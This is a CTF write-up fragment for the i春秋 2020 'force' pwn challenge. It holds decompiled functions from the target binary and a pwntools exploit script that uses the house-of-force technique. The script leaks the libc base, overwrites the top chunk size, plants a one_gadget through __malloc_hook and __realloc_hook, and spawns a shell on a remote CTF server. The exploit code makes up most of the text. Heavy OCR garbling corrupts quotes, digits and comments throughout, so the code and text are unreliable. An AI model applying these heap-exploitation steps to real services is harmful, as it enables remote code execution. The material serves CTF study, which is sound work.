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nsigned  int64 add()
{
void **v@; f/ STee B
char *i; f/ [rsp+@h] [rbp-120h]
__int64 size; // [rsp+8h] [rbp-118h]
char s; // [rsp+18h] [rbp-118h]
unsigned _ int64 v5; [/ [rsp+118h] [rbp-8h]

v5 = __readfsqword(8x28u);
memset(&s, 255, @x100ull);
for { i = {char *)&unk_202080; *(_QWORD *)i; i += 8 )

3
if ( i - (char *)&unk_202080 > 39 )
exit(@);
puts(“size");
read(8, nptr, OxFull);
size = atol{nptr);
*(_QWORD *)i = malloc(size);
if ( 1®%(_QWORD *)i )
exit(e);
printf("bin addr ¥p\n", *{_QWORD *)i, i, size};
puts( content J;
read(8, *v8, @x56uLL);
pats( uone
return __ readfsqword(@x28u) * v5;
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nsigned _ int64 show()

{
unsigned __int64 v@; // STOS 8

vd = __readfsqword(8x28u);
puts(&byte_D33);
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]
7| return __readfsqword(@x28u) *~ v0;
]
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#coding:utf8
from pwn import *

#sh = process('./force")

sh = remote('node3.buuoj.cn',26394)

libc = ELF('/1ib/x86_64-1inux-gnu/libc-2.23.s0")
realloc_s = libc.sym[ 'realloc"']

malloc_hook_s = libc.symbols[' malloc_hook']
one_gadget = 0x4526a

def create(size,content):
sh.sendlineafter('2:puts','1")
sh.sendlineafter('size',str(size))
sh.recvuntil('bin addr ")
addr = int(sh.recvuntil('\n"',drop = True),16)
sh.sendafter('content', content)
return addr

#HEEmmap—ANHE, FAIER T mmap IR HibE, BREETHE H1ibckbhk
#E ymmap B IX AN ST 1ibe bk

libc_base = create(0x200000, 'a’') + 0x200FF0
realloc_addr = libc_base + realloc_s

malloc_hook_addr = libc_base + malloc_hook_s
one_gadget_addr = libc_base + one_gadget

print 'libc_base="',hex(libc_base)

print 'malloc_hook_addr="',hex(malloc_hook_addr)

print 'one_gadget_addr=',hex(one_gadget_addr)

#house of force

#BMtop chunkfisize-1, BI#EZ%K

heap_addr = create(0x10, '\x00'*0x18 + p64(OxFFFFFFFFFFFFFFFF)) - 0x10
print "heap_addr="',hex(heap_addr)

top_chunk_addr = heap_addr + 0x20

print 'top_chunk_addr=",hex(top_chunk_addr)

#ERE K/MHchunk, ¥itop chunk# % Tmalloc_hook_addr - @x204h
offset = malloc_hook_addr - top_chunk_addr - 0x30
create(offset, 'c')

#4fc®lrelloc_hook4t, ERAfrealloc_hookflmalloc_hook
create(0x10,p64(0) + p64(one_gadget_addr) + p64(realloc_addr + 4))
#getshell

sh.sendlineafter('2:puts','1")

sh.sendlineafter('size','1")

sh.interactive()



	i春秋2020新春战役PWN之force
	Force

